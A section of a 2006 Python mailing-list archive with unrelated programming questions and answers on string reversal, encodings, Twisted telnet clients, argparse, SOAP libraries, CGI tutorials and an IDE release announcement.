> as I can tell, iso-8859-1. This renders the above construction
> useless if the user enters any character codes above 128.
> Using raw_input instead of readline addresses the problem by making
> it impossible to enter non-ascii text.
> 
> Please advise.

Give the user the ability to explicitly give an encoding.  Using the
encoding attribute of files is quite fragile.  If you redirect stdin or
stdout the encoding is set to None for example because the interpreter
can't tell what encoding the "other side" of the redirection produces or
expects.

BTW the US-ASCII isn't wrong but just limiting as everything in the ASCII
range is the same in ISO-8859-1.

Ciao,
	Marc 'BlackJack' Rintsch


From steve at REMOVE.THIS.cybersource.com.au  Sat Oct 21 03:07:37 2006
From: steve at REMOVE.THIS.cybersource.com.au (Steven D'Aprano)
Date: Sat, 21 Oct 2006 17:07:37 +1000
Subject: invert or reverse a string... warning this is a rant
References: <eh8708$nc7$1@solaris.cc.vt.edu>
	<7iNZg.117$1n3.3352@news.tufts.edu>
	<eh89n4$r5q$1@solaris.cc.vt.edu>
	<pan.2006.10.19.23.04.06.704397@REMOVE.THIS.cybersource.com.au>
	<pan.2006.10.20.07.29.24.509195@gmail.com>
	<1161352970.123247.322140@i42g2000cwa.googlegroups.com>
	<mailman.842.1161353877.11739.python-list@python.org>
Message-ID: <pan.2006.10.21.07.07.36.321972@REMOVE.THIS.cybersource.com.au>

On Fri, 20 Oct 2006 16:17:09 +0200, Fredrik Lundh wrote:

> Tim N. van der Leeuw wrote:
> 
>> In practice, the short-term fix would be to add a __str__ method to the
>> 'reversed' object
> 
> so what should
> 
>     str(reversed(range(10)))
> 
> do ?

The same as str(range(9, -1, -1)) perhaps?

I notice that reversed() already special-cases lists:

>>> reversed(tuple(range(5)))
<reversed object at 0xb7c91d0c>
>>> reversed("01234")
<reversed object at 0xb7c91b8c>

but:

>>> reversed(range(5))
<listreverseiterator object at 0xb7c91b8c>


I'm not sure why it would do such a thing -- something to do with mutable
versus immutable arguments perhaps? It is surprising that x and
reversed(x) aren't the same type. This is even more surprising:

>>> list(reversed(range(5)))
[4, 3, 2, 1, 0]
>>> tuple(reversed(tuple(range(5))))
(4, 3, 2, 1, 0)

but 

>>> str(reversed("01234"))
'<reversed object at 0xb7c91b8c>'

It could be argued that people shouldn't be reversing strings with
reversed(), they should use slicing. But I'll argue that "shouldn't" is
too strong a prohibition. Python, in general, prefers named methods and
functions for magic syntax, for many good reasons. (e.g. a str.reverse()
method could have a doc string; str[::-1] can't.) reversed() is designed
to work with sequences, and strings are sequences; it is a recent addition
to the language, not a hold-over from Ancient Days; and since nobody seems
to be arguing that reversed shouldn't be used for other sequence types,
why prohibit strings?

This is not an argument *against* slicing -- obviously slicing is too
fundamental a part of Python to be abandoned. But since reversed() exists,
it should do the right thing. Currently it does the right thing on lists
and tuples, but not on strings.

Perhaps the solution is to special case strings, just like lists are
special cased. Ordinary reversed objects needn't change, but reversed(str)
returns a strreverseiterator that has a __str__ method that does the right
thing. That's just a suggestion, I daresay if it is an awful suggestion
people will tell me soon enough.


-- 
Steven.



From cgseymour at gmail.com  Mon Oct 30 13:54:28 2006
From: cgseymour at gmail.com (Chris Seymour)
Date: 30 Oct 2006 10:54:28 -0800
Subject: ANN: SPE 0.8.3.c Python IDE editor
In-Reply-To: <1162213852.270705.275740@b28g2000cwb.googlegroups.com>
References: <1162206008.469787.270830@m73g2000cwd.googlegroups.com>
	<1162213852.270705.275740@b28g2000cwb.googlegroups.com>
Message-ID: <1162234468.199971.134690@m7g2000cwm.googlegroups.com>

Hi Stani,
Not able to reach Berlios.  The SourceForge page does not have the
Windows installer.  Any ideas when it will be available?

Thanks.

Chris
Bernard wrote:
> thanks Stani!
>
> SPE - Stani's Python Editor wrote:
> > This is a maintenance release (mostly bug fixing) to prove that SPE is
> > alive and well! In case you are using wxPython2.7 you'll need to
> > upgrade to this release. Submitted patches will be reviewed and
> > included if approved for next release. Thanks for all your patient
> > support and continuing donations.
> >
> > The SPE 0.8.2.a release got downloaded 110550 times on berlios and
> > sourceforge together. Not bad. This means SPE has not seen an update
> > for a while or is getting very popular. Maybe both ;-)
> >
> > Installers are available for python 2.3, 2.4 and 2.5 for Windows and as
> > a rpm including wxPython. Other operating systems can choose the
> > no-setup.zip or targ.gz archives. A .deb archive is being prepared for
> > Debian Linux systems such as Ubuntu.
> >
> > wxGlade is unfortunately not compatible with wxPython2.7. So if you
> > want to use, you'll need wxPython2.6.
> >
> > :**Fixes**:
> >
> > - output is now done with a fixed font
> > - uml.py is now again a stand alone demo
> > - upgraded and fixed wxGlade
> > - fixed for wxPython2.7 (and still backwards compatible with
> > wxPython2.6)
> > - updated NotebookCtrl
> >
> > :**Contributors**:
> >
> > - Andrea Gavana (NoteBookCtrl)
> > - Alberto Griggio (wxGlade)
> > - Michael Foord (python 2.3 + 2.5 releases for windows)
> >
> > :**Donations**:
> >
> > The development of SPE is driven by donations. Each of these donors
> > receives the pdf manual in thanks for their support of SPE.
> >
> > - James Carroll (60 euro)
> > - John DeRosa (50 euro)
> > - Fumph LLC (50 euro)
> > - Ronald Britton (40 euro)
> > - David Downes (40 euro)
> > - Jorge Carrillo (40 euro)
> > - Nicolas Berney (40 euro)
> > - Francois Schnell (30 euro)
> > - Olivier Cortes (30 euro)
> > - Ayrshire Business Consulting Limited (30 euro)
> > - Chris White (25 euro)
> > - Thomas Wengerek (20 euro)
> > - John Rudolph (20 euro)
> > - Michael O'Keefe (20 euro)
> > - Michael Brickenstein (20 euro)
> > - Richard Walkington (20 euro)
> > - Oliver Tomic (20 euro)
> > - Jose Maria Cortes Arnal (20 euro)
> > - Jeffrey Emminger (20 euro)
> > - Eric Pederson (20 $)
> > - Charles Bosson (15 euro)
> > - Angelo Caruso (15 euro)
> > - Chris Hengge (15 $)
> > - Lo&#239;c Allys (15 euro)
> > - Marcin Chojnowski (15 euro)
> > - Boris Krasnoiarov (15 euro)
> > - Paul Furber (15 euro)
> > - Gary Robson (15 euro)
> > - Ralf Wieseler (15 euro)
> > - Samuel Schulenburg (10 euro)
> > - Leland Hulbert II (10 euro)
> > - Javier De La Mata Viader (10 euro)
> > - Dorman Musical Instruments (10 euro)
> > - Jaroslaw Sliwinski (10 euro)
> > - Alessandro Patelli (10 euro)
> > - James Pretorius (10 euro)
> > - Richard Wayne Garganta (10 euro)
> > - Maurizio Bracchitta (10 euro)
> > - Larry Lynch (10 euro)
> > - Kay Fricke (10 euro)
> > - Henrik Binggl (10 euro)
> > - Jerol Harrington (10 euro)
> > - Victor Adan (10 euro)
> > - James Fuqua (10 euro)
> > - Christian Seberino (5 euro)
> > - Serge Smeesters (5 euro)
> > - Jarek Libert (5 euro)
> > - Robin Friedrich (5 euro)
> > - Udo Rabe (5 euro)
> > - Roch Leduc (4 euro)
> > - Rha Diseno y Desarrollo (2 euro)
> >
> > :**Installation**:
> >
> > - See http://pythonide.stani.be/manual/html/manual2.html
> >
> > :**Development**:
> >
> > - http://developer.berlios.de/mail/?group_id=4161
> >
> > About SPE:
> > SPE is a python IDE with auto-indentation, auto completion, call tips,
> > syntax coloring, uml viewer, syntax highlighting, class explorer,
> > source index, auto todo list, sticky notes, integrated pycrust shell,
> > python file browser, recent file browser, drag&drop, context help, ...
> > Special is its blender support with a blender 3d object browser and its
> > ability to run interactively inside blender. Spe integrates with XRCed
> > (gui
> > designer) and ships with wxGlade (gui designer), PyChecker (source
> > code doctor), Kiki (regular expression console) and WinPdb (remote,
> > multi-threaded debugger).
> >
> > The development of SPE is driven by its donations. Anyone who donates
> > can ask for an nice pdf version of the manual without ads (74 pages).



From grante at visi.com  Tue Oct 24 11:27:23 2006
From: grante at visi.com (Grant Edwards)
Date: Tue, 24 Oct 2006 15:27:23 -0000
Subject: Visibility against an unknown background
References: <1161701658.722683.46230@e3g2000cwe.googlegroups.com>
Message-ID: <12jsc6r4ddnr886@corp.supernews.com>

On 2006-10-24, Odalrick <odalrick at hotmail.com> wrote:

> I need to draw visible lines on pictures with wxPython. That means I
> can't simply use, for instance, a black line since it wont be visible
> on a black or dark picture.
>
> Painting applications like the GIMP accomplish this by altering the
> colour of the line based on the colour of the pixel it covers,

Yup.

> but the only way I can think of doing that is getting each
> pixel, transforming the colour then painting it on the screen,
> which seems like a horribly inefficient way do it.

That's not how it's generally done.  When you draw a line, most
graphics toolkits allow you to specify an "operator" that is
applied to the existing pixel and the line-color to determine
the new pixel color.  The traditional way to draw lines on
something with varying colors is to use the "xor" operator when
drawing the lines.

-- 
Grant Edwards                   grante             Yow!  Can you MAIL a BEAN
                                  at               CAKE?
                               visi.com            


From guid.china at gmail.com  Wed Oct 18 10:37:54 2006
From: guid.china at gmail.com (haishan chang)
Date: Wed, 18 Oct 2006 22:37:54 +0800
Subject: How to execute a linux command by python?
Message-ID: <a34765230610180737t768b20d5q224adef6fd3fb301@mail.gmail.com>

How to execute a linux command by python?
for example: execute "ls"  or "useradd oracle"
Who can help me? thank you!
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From apardon at forel.vub.ac.be  Mon Oct  9 07:27:40 2006
From: apardon at forel.vub.ac.be (Antoon Pardon)
Date: 9 Oct 2006 11:27:40 GMT
Subject: operator overloading + - / * = etc...
References: <1160256250.688620.63770@h48g2000cwc.googlegroups.com>
	<slrneig76h.6u2.sybrenUSE@schuimige.stuvel.eu>
	<mailman.32.1160258060.11739.python-list@python.org>
	<slrneig8v2.746.sybrenUSE@schuimige.stuvel.eu>
	<mailman.34.1160260043.11739.python-list@python.org>
	<pan.2006.10.08.01.08.09.501368@REMOVE.THIS.cybersource.com.au>
Message-ID: <slrneikchc.55m.apardon@rcpc42.vub.ac.be>

On 2006-10-08, Steven D'Aprano <steve at REMOVE.THIS.cybersource.com.au> wrote:
> On Sat, 07 Oct 2006 17:21:55 -0500, Tim Chase wrote:
>
>>>> With the caveat of the "=" mentioned in the subject-line (being
>>>> different from "==")...I haven't found any way to override
>>>> assignment in the general case.
>>> 
>>> Why would you want to do that?
>> 
>> For the same reason one would use property() to create 
>> getter/setter functions for a particular variable--to intercept 
>> attempts to set a variable.
>
> Despite sloppy talk to the contrary (which I think most of us do from time
> to time), Python doesn't have variables. It has names and objects. Names
> are just labels -- there is no difference in behavior between the *names*
> this_is_an_integer and this_is_a_string. (The *objects* they point to are
> a different story, naturally.)

I honestly don't see why "variable" would be an inappropiate word to use.
AFAIU, python assignment seems to behave much like lisp and smalltalk
and I never heard that those communities found the word "variable"
inappropiate to use. And since the word variable originally comes
from mathematics and IMHO the mathematical semantics are closer
to the lisp/smalltalk/python semantics than the C/algol/pascal/ada
semantics I don't see why "variable" is seen as "sloppy talk"

-- 
Antoon Pardon


From nelson1977 at gmail.com  Tue Oct 31 02:43:11 2006
From: nelson1977 at gmail.com (nelson -)
Date: Tue, 31 Oct 2006 08:43:11 +0100
Subject: 3d programming without opengl
Message-ID: <f44750160610302343u739c5b3eo2f1c40c256004d3a@mail.gmail.com>

hi!
   i want to build up a simple 3d interactive geometry application in
python. Since i want to run it without 3D acceleration (a scene will
be quite simple) I was wondering if there was a library in python that
allow me to build 3D graphic without the need to use OpenGL.... I
google but i can't find nothing interesting... (the best would be a
pure python solution)

Thanks,
  nelson


From daniel.huangfei at gmail.com  Fri Oct 13 04:11:27 2006
From: daniel.huangfei at gmail.com (daniel)
Date: 13 Oct 2006 01:11:27 -0700
Subject: always raise syntax error!
In-Reply-To: <pan.2006.10.13.06.37.25.718583@REMOVEME.cybersource.com.au>
References: <1160720758.730483.56680@i42g2000cwa.googlegroups.com>
	<pan.2006.10.13.06.37.25.718583@REMOVEME.cybersource.com.au>
Message-ID: <1160727087.763855.206040@i3g2000cwc.googlegroups.com>

thank you so much for the reply.

I finally re-type all the codes where python would raise syntax error,
then fixed. I did not examine every single word of my old codes though,
 there might be some parenthesis not matching somewhere, I guess.

well, I would say, the reason why I could not position the error code
may partly due to the ambiguous message that python provides. the lines
that python pointed to contains no error,  I think the error codes must
be too far away from there. anyway, I hope python would make more
detailed error messages, like c++ compilers do. such as: "missing ;" or
"(" not matching...etc.

tks again..

daniel



From thomas.weholt at gmail.com  Tue Oct 24 14:52:04 2006
From: thomas.weholt at gmail.com (Thomas W)
Date: 24 Oct 2006 11:52:04 -0700
Subject: The status of Python and SOAP?
Message-ID: <1161715924.235584.30790@m7g2000cwm.googlegroups.com>

I'm going to give a presentation of python to my co-workers at a very
pro-microsoft workplace. Almost everything we need is currently
supported by the standard distro + the win32all package, but we also
need support for SOAP. I've tried SOAPpy ( didn't get it to compile,
needed a library from a dead site ) and a few others, but I cannot help
the feeling that SOAP isn't very high on the list of priorities in the
python community. I hope I'm wrong.

In short: What library is currently the best alternative to implement
stable, efficient SOAP-webservices, both client and servers? What
library is being actively maintained?

Any hint or help would be great.



From stephenhicks at gmail.com  Wed Oct  4 20:43:19 2006
From: stephenhicks at gmail.com (stephenhicks at gmail.com)
Date: 4 Oct 2006 17:43:19 -0700
Subject: Definition of '1j'?
Message-ID: <1160008999.142645.67250@k70g2000cwa.googlegroups.com>

Hi,

I'm wondering how/where the syntax for, e.g., 1j is defined.  Is it
something I can define myself?  In particular, I make very heavy use of
a complex unit other than j (I'll call it 1k=exp(pi*1j/3)), and it
would be terribly convenient to make my own complex class based on this
unit, which would construct and display results in this form, i.e.
>>> (1+2k)*1k
-2+3k

It's not a terrible inconvenience if this is not possble, since I can
just define K=mycomplex(0,1), but I really do like the 1j notation, and
the problem with the other notation is that K could easily get
overwritten (and thus suggests I need a better name), while 1k would
take intention to mess up.

Thanks,
--
Steve Hicks



From skip at pobox.com  Fri Oct  6 09:20:07 2006
From: skip at pobox.com (skip at pobox.com)
Date: Fri, 6 Oct 2006 08:20:07 -0500
Subject: Python to use a non open source bug tracker?
In-Reply-To: <7x3ba1ltvj.fsf@ruckus.brouhaha.com>
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<7xk63h232z.fsf@ruckus.brouhaha.com> <eftfoe$l8n$1@sea.gmane.org>
	<mailman.1155.1159876666.10491.python-list@python.org>
	<mailman.1163.1159879479.10491.python-list@python.org>
	<fxJUg.134222$zy5.1829414@twister1.libero.it>
	<ue6dnQBgEPPCMr7YnZ2dnUVZ_rqdnZ2d@speakeasy.net>
	<eg0bo2$obu$1@nnrp.ngi.it> <45240FD5.3050705@v.loewis.de>
	<4n4Vg.135913$_J1.898276@twister2.libero.it>
	<f4rfv3-vhg.ln1@nb2.stroeder.com> <45254B18.2090806@v.loewis.de>
	<mailman.1379.1160075929.10491.python-list@python.org>
	<YzoVg.137036$zy5.1843214@twister1.libero.it>
	<7x3ba1ltvj.fsf@ruckus.brouhaha.com>
Message-ID: <17702.22535.588328.586045@montanaro.dyndns.org>


    Paul> How often should a tracker freeze anyway?  People with no
    Paul> technical knowledge at all run BBS systems that almost never
    Paul> freeze.  Is a tracker somehow more failure-prone?  It's just a
    Paul> special purpose BBS, I'd have thought.

And when those BBS systems get hacked they can be down for extended periods
of time.  I have an old Porsche and participate in the discussion forums at
914club.com.  There is a team of admins to moderate the discussion forums,
but just one guy to do the technical work.  The site is powered by some
common forum software package (really a modern day bbs).  It gets hacked
from time-to-time.  When that happens, we're all left with the DTs while the
board gets put back together.

As for this question from Giovanni:

    Giovanni> Are bug-tracker configuration issues so critical that having
    Giovanni> to wait 48-72hrs to have them fixed is absolutely unacceptable
    Giovanni> for Python development? 

Yes, I think that would put a crimp in things.  The downtimes we see for the
SourceForge tracker tend to be of much shorter duration than that (typically
a few hours) and cause usually minor problems when they occur.  For the
tracker to be down for 2-3 days would make the developers temporarily blind
to all outstanding bug reports and patches during that time and prevent
non-developers from submitting new bugs, patches and comments.  Those people
might well forget about their desired submission altogether and not return
to submit them once the tracker was back up.

Skip


From clodoaldo.pinto at gmail.com  Wed Oct  4 15:43:16 2006
From: clodoaldo.pinto at gmail.com (Clodoaldo Pinto Neto)
Date: 4 Oct 2006 12:43:16 -0700
Subject: CGI Tutorial
In-Reply-To: <1159990122.487089.133950@i42g2000cwa.googlegroups.com>
References: <1159990122.487089.133950@i42g2000cwa.googlegroups.com>
Message-ID: <1159990996.245787.213670@h48g2000cwc.googlegroups.com>

Clodoaldo Pinto Neto wrote:
> I'm just building a Python CGI Tutorial and would appreciate any
> feedback from the many experts in this list.

http://webpython.codepoint.net



From http  Wed Oct 25 14:39:45 2006
From: http (Paul Rubin)
Date: 25 Oct 2006 11:39:45 -0700
Subject: cleaner way to write this?
References: <USN%g.148$1n3.4086@news.tufts.edu>
	<j5O%g.150$1n3.4013@news.tufts.edu>
Message-ID: <7xwt6o44um.fsf@ruckus.brouhaha.com>

John Salerno <johnjsal at NOSPAMgmail.com> writes:
> I just need some advice for how to structure
> the check of the empty string.

How about

    return db_name or None

since the empty string taken as a boolean is False.


From mmanns at gmx.net  Mon Oct 16 18:20:54 2006
From: mmanns at gmx.net (Martin Manns)
Date: Mon, 16 Oct 2006 22:20:54 GMT
Subject: Max-plus library
Message-ID: <aBTYg.65754$E67.63337@clgrps13>

Hello,

Is there any library that allows employing max-plus dioids in
python (e.g. based on numpy/scipy)?

The only libraries that I found so far are for Matlab / Octave,
Scilab and Maple:
http://ifatwww.et.uni-magdeburg.de/~stanczyk/mpa/index.php
http://www-rocq.inria.fr/MaxplusOrg/soft.html

Thanks

Martin


From matthew_j_warren at hotmail.com  Wed Oct 11 08:01:00 2006
From: matthew_j_warren at hotmail.com (MatthewWarren)
Date: 11 Oct 2006 05:01:00 -0700
Subject: Bad Code (that works) help me re-write!
In-Reply-To: <1160566679.286427.168840@e3g2000cwe.googlegroups.com>
References: <mailman.300.1160558524.11739.python-list@python.org>
	<1160566679.286427.168840@e3g2000cwe.googlegroups.com>
Message-ID: <1160568060.624145.230370@i42g2000cwa.googlegroups.com>

oop. posted with wrong account, sorry for attatched disclamers in other
posts.



From wdraxinger at darkstargames.de  Sat Oct 28 12:02:51 2006
From: wdraxinger at darkstargames.de (Wolfgang Draxinger)
Date: Sat, 28 Oct 2006 18:02:51 +0200
Subject: Safely renaming a file without overwriting
References: <pan.2006.10.28.10.13.32.415330@REMOVE.THIS.cybersource.com.au>
	<72sb14-08j.ln1@darkstargames.dnsalias.net>
	<4qh8u1Fn1s4aU1@uni-berlin.de>
Message-ID: <cibc14-n4e.ln1@darkstargames.dnsalias.net>

Diez B. Roggisch wrote:

>> 1: Open the file with os.open
>> 
>> 2: Lock the file exclusively -> no other process can now
>> access it.
>> 
>> 3: Use rename to rename the file; this causes a file system
>> level implicit unlink of the old file (it dissappears from the
>> file system) but the opening process can still access it.
>> 
>> 4: close the file -> the lock is removed and the rename
>> finalized.

The open is to happen on the new file name with O_CREAT | O_EXCL
flags. Sorry, I forgot that to mention explicitly. However I
have not tried it yet, but it should work.

Wolfgang Draxinger
-- 
E-Mail address works, Jabber: hexarith at jabber.org, ICQ: 134682867
GPG key FP: 2FC8 319E C7D7 1ADC 0408 65C6 05F5 A645 1FD3 BD3E


From fredrik at pythonware.com  Mon Oct  2 07:14:38 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Mon, 2 Oct 2006 13:14:38 +0200
Subject: __init__ style questions
References: <1159785721.004647.51490@c28g2000cwb.googlegroups.com>
	<Xns98507A4715288duncanbooth@127.0.0.1>
Message-ID: <efqsau$p3f$1@sea.gmane.org>

Duncan Booth wrote:

> No it isn't Pythonic.

rubbish.  using a single constructor that handles two common use cases is
perfectly Pythonic (especially if you're targeting casual programmers).

</F> 





From pretoriano_2001 at hotmail.com  Tue Oct 10 09:55:51 2006
From: pretoriano_2001 at hotmail.com (pretoriano_2001 at hotmail.com)
Date: 10 Oct 2006 06:55:51 -0700
Subject: Encode differences between idle python and python
In-Reply-To: <mailman.173.1160465100.11739.python-list@python.org>
References: <1160459071.233638.167150@k70g2000cwa.googlegroups.com>
	<mailman.173.1160465100.11739.python-list@python.org>
Message-ID: <1160488550.884415.237450@k70g2000cwa.googlegroups.com>


Gabriel, Peter:
Many thanks for your clear answers!!
Best regards.

Vizcayno



From kw at kevin-walzer.com  Tue Oct 24 12:27:55 2006
From: kw at kevin-walzer.com (Kevin Walzer)
Date: Tue, 24 Oct 2006 12:27:55 -0400
Subject: python GUIs comparison (want)
In-Reply-To: <453e3c5a$0$23254$426a74cc@news.free.fr>
References: <1161666459.401958.267280@i42g2000cwa.googlegroups.com>
	<453E3370.9060008@kevin-walzer.com>
	<453e3c5a$0$23254$426a74cc@news.free.fr>
Message-ID: <453E3F0B.6070606@kevin-walzer.com>

Christophe wrote:

> Since when is "based on C++ toolkit" a con?
> 

If you don't know C++ (as is the case with me), then it's difficult to
do a C++-to-Python translation in looking at code examples.

-- 
Kevin Walzer
Code by Kevin
http://www.codebykevin.com


From bdesth.quelquechose at free.quelquepart.fr  Tue Oct 31 17:04:39 2006
From: bdesth.quelquechose at free.quelquepart.fr (Bruno Desthuilliers)
Date: Tue, 31 Oct 2006 23:04:39 +0100
Subject: Ctypes Error: Why can't it find the DLL.
In-Reply-To: <1161995824.947791.117190@m73g2000cwd.googlegroups.com>
References: <1161711630.004644.187330@h48g2000cwc.googlegroups.com>
	<453e9de8$0$12416$426a74cc@news.free.fr>
	<1161995824.947791.117190@m73g2000cwd.googlegroups.com>
Message-ID: <4547c3dc$0$304$426a74cc@news.free.fr>

Mudcat a ?crit :
> That was it. Once I added the other DLLs then it was able to find and
> make the call.
> 
> Thanks for all the help,

I just googled for "WindowsError: [Errno 126]" and followed the links, 
you know...


From steven.bethard at gmail.com  Tue Oct  3 18:28:36 2006
From: steven.bethard at gmail.com (Steven Bethard)
Date: Tue, 03 Oct 2006 16:28:36 -0600
Subject: Can't get around "IndexError: list index out of range"
In-Reply-To: <1159913403.234324.209750@e3g2000cwe.googlegroups.com>
References: <1159913403.234324.209750@e3g2000cwe.googlegroups.com>
Message-ID: <fo2dnboaePaIeb_YnZ2dnUVZ_rOdnZ2d@comcast.com>

erikwickstrom at gmail.com wrote:
> I'm trying to get this bit of code to work without triggering the
> IndexError.
> 
> import shutil, os, sys
> 
> if sys.argv[1] != None:
>     ver = sys.argv[1]
> else:
>     ver = '2.14'

Something like::

     if len(sys.argv) > 1:
         ver = sys.argv[1]
     else:
         ver = '2.14'

It looks like you're trying to do argument parsing, though and for 
anything more complicated than the above, you might prefer to use a real 
argument parsing library like argparse_::

     import argparse

     parser = argparse.ArgumentParser(description='print the version')
     parser.add_argument('ver', nargs='?', default='2.14',
                         help='the version number to print')

     args = parser.parse_args()
     print args.ver

Then from the command line::

     $ script.py
     2.14

     $ script.py 3.14159265359
     3.14159265359

     $ script.py -h
     usage: script.py [-h] [ver]

     print the version

     positional arguments:
       ver         the version number to print

     optional arguments:
       -h, --help  show this help message and exit

And then you can feel good about yourself for also documenting your 
command-line interface. ;-)

.. _argparse: http://argparse.python-hosting.com/

STeVe


From fredrik at pythonware.com  Wed Oct  4 03:06:52 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Wed, 04 Oct 2006 09:06:52 +0200
Subject: Compiling binaries
In-Reply-To: <b18a331b0610032221m6f8e10a2j91581800e45302d7@mail.gmail.com>
References: <b18a331b0610032221m6f8e10a2j91581800e45302d7@mail.gmail.com>
Message-ID: <efvmic$fmi$2@sea.gmane.org>

Henrique Nakashima wrote:

> Hi, I'm trying to find a way to compile .py files into linux binaries, 
> so that i can distribute a program without having the user install 
> python itself. Is there a way to do that?

http://effbot.org/zone/python-compile.htm

</F>



From mahall at ncsa.uiuc.edu  Fri Oct  6 16:32:09 2006
From: mahall at ncsa.uiuc.edu (Matteo)
Date: 6 Oct 2006 13:32:09 -0700
Subject: n-body problem at shootout.alioth.debian.org
In-Reply-To: <eg6bku$59b$1@online.de>
References: <eg6bku$59b$1@online.de>
Message-ID: <1160166729.868246.56630@b28g2000cwb.googlegroups.com>


Peter Maas wrote:
> I have noticed that in the language shootout at shootout.alioth.debian.org
> the Python program for the n-body problem is about 50% slower than the Perl
> program. This is an unusual big difference. I tried to make the Python program
> faster but without success. Has anybody an explanation for the difference?
> It's pure math so I expected Perl and Python to have about the same speed.
>
> Peter Maas, Aachen

Well, one implementation difference is that the Perl script uses
parallel global arrays
(one array for each positional component, one for each velocity
component, and one for mass) whereas the python implementation uses
planet objects. Now, this may not actually make too much of a
difference as it is, but if you really want to make the python version
faster, I'd use the Numeric or Numpy (parts of which may soon be
standardized), and do array-wide computations, rather than using python
loops (at least replacing the innermost loops). My reasonably
well-informed guess is that the speed would improve markedly.

Of course, numpy is not a standard package (though there is a proposal
to add a standard 'array' package to python, based of numpy/numeric),
but if you want to do any numerics with python, you shouldn't be
without it.

-matt



From ldo at geek-central.gen.new_zealand  Sun Oct  8 23:47:46 2006
From: ldo at geek-central.gen.new_zealand (Lawrence D'Oliveiro)
Date: Mon, 09 Oct 2006 16:47:46 +1300
Subject: CGI Tutorial
References: <1159990122.487089.133950@i42g2000cwa.googlegroups.com>
	<1159990808.443737.85880@i3g2000cwc.googlegroups.com>
	<45241872.2020008@tim.thechases.com>
	<mailman.1294.1159995176.10491.python-list@python.org>
Message-ID: <egcgn4$viv$4@lust.ihug.co.nz>

In message <mailman.1294.1159995176.10491.python-list at python.org>, Clodoaldo
Pinto Neto wrote:

> 2006/10/4, Tim Chase <python.list at tim.thechases.com>:
>
>> The code is very dangerous...allowing any ol' schmoe to run
>> arbitrary code on your server.  At the barest of minimums, I'd
>> plaster the code with warnings that this is a Very Dangerous
>> Thing(tm) to do.
> 
> I though the danger was so obvious that i didn't bother. Now i have
> issued a warning.

I wonder whether warnings are enough. People are still going to copy and
paste the dodgy code from your tutorial into their site. The only way
around this is to offer good, robust code to begin with.


From exarkun at divmod.com  Fri Oct 27 14:31:20 2006
From: exarkun at divmod.com (Jean-Paul Calderone)
Date: Fri, 27 Oct 2006 14:31:20 -0400
Subject: Telnetlib to twisted
In-Reply-To: <D4F9316ACC9D20489CC81D19B8A87D5B03E854E6@UKEX01.Digica.local>
Message-ID: <20061027183120.20948.1444133058.divmod.quotient.2592@ohm>

On Fri, 27 Oct 2006 16:40:44 +0100, Matthew Warren <matthew.warren at digica.com> wrote:
>Hallo,
>
>>>> import telnetlib
>>>> l=telnetlib.Telnet('dbprod')
>>>> l.interact()
>telnet (dbprod)
>
>Login:
>
>
>Could anyone show how the above would be written using the twisted
>framework? All I'm after is a more 'intelligent' interactive telnet
>session (handles 'vi' etc..) rather than the full capabilities of the
>twisted framework.
>

Basically you want to hook up a telnet connection to stdio.  You can find
a couple examples of using stdio in a Twisted application here:

http://twistedmatrix.com/projects/core/documentation/examples/stdiodemo.py
http://twistedmatrix.com/projects/core/documentation/examples/stdin.py

Then you need a telnet connection to send the bytes you read from stdin to
and from which to receive bytes to write to stdout.

I don't think there are any good examples of using telnet as a client, but
it's pretty straightforward.  Something like this, for example, will make
a telnet connection and then write all the non-telnet negotiation data to
stdout:

  from twisted.internet.protocol import ClientCreator, reactor
  from twisted.conch.telnet import Telnet
  
  class PrintingTelnet(Telnet):
      def applicationDataReceived(self, bytes):
          print bytes

  def main():
      cc = ClientCreator(reactor, PrintingTelnet)
      d = cc.connectTCP(host, port)
      def connected(proto):
          print 'Connected'
      reactor.run()

  if __name__ == '__main__':
      main()

The part where a lot of people get stuck is hooking up the stdio protocol
to the network protocol.  For this, you just need to make sure each
instance has a reference to the other.  You can then call methods on the
stdio protocol from the telnet protocol when bytes are received, and vice
versa.

You may need to add in a layer to handle terminal control sequences, since
those pass through telnet and will get through to your application.  On the
other hand, if all you do is write them to stdout, your actual terminal
should handle them.  You'll only need an extra layer if you want to do extra
interpretation.

Hope this helps,

Jean-Paul


From fredrik at pythonware.com  Tue Oct 10 10:26:57 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 10 Oct 2006 16:26:57 +0200
Subject: can regular ol' python do a php include?
References: <kZNWg.91$1n3.2228@news.tufts.edu>
Message-ID: <eggajh$8mv$1@sea.gmane.org>

John Salerno wrote:

> Whenever I turn an eye back toward website design, I find myself making
> frequent use of PHP's include function (or SSI's include directive). So
> I'm curious, is there a way to do this with Python using just the
> standard library?

you don't even need anything from the standard library to inserting output
from one function into given text...

    text = "... my page with %(foo)s markers ..."

    print text % dict(foo=function())

(doing this with output from another Python script is of course also easy;
just use execfile, and collect the output, but that's pretty silly when you can
import the darn thing, and call it instead).

</F> 





From khrom at inp.kz  Fri Oct 27 06:00:52 2006
From: khrom at inp.kz (khromushin)
Date: Fri, 27 Oct 2006 03:00:52 -0700 (PDT)
Subject: Embedding Matplotlib images into wxPython
In-Reply-To: <1125420462.124637.113810@z14g2000cwz.googlegroups.com>
References: <1125420462.124637.113810@z14g2000cwz.googlegroups.com>
Message-ID: <7027545.post@talk.nabble.com>


I wrote a matplotlib Boa constructor plug-in. It is very easy to add it into
a wxframe, sizers etc in Boa constructor. 
If you are interested in the plugin, pls. send e-mail to khrom at inp.kz. 

Igor Khromushin



dr_tyson at hotmail.com wrote:
> 
> I am trying to embed images into a wxPython app (created using Boa
> Constructor), but have not been able to do so. I know how to embed
> plots, but images seem to be a problem. I've tried using code analogous
> to the example given at the Matplotlib website to no avail. If anybody
> has been successful at this could you please post some sample code?
> That would be greatly appreciated. Thanks!
> 
> Randy
> 
> -- 
> http://mail.python.org/mailman/listinfo/python-list
> 
> 



-- 
View this message in context: http://www.nabble.com/Embedding-Matplotlib-images-into-wxPython-tf265283.html#a7027545
Sent from the Python - python-list mailing list archive at Nabble.com.



From jweida at gmail.com  Fri Oct 20 17:21:59 2006
From: jweida at gmail.com (Jerry)
Date: 20 Oct 2006 14:21:59 -0700
Subject: I like python.
In-Reply-To: <mailman.824.1161333065.11739.python-list@python.org>
References: <mailman.824.1161333065.11739.python-list@python.org>
Message-ID: <1161379318.934985.115810@m7g2000cwm.googlegroups.com>

On Oct 20, 2:59 am, Fidel <fidel.andr... at gmail.com> wrote:
> Could someone please tell me what I need to put into a python script
> to not have a window come up however briefly? Like when I double click
> on the script, it will do it's job but won't open a command window
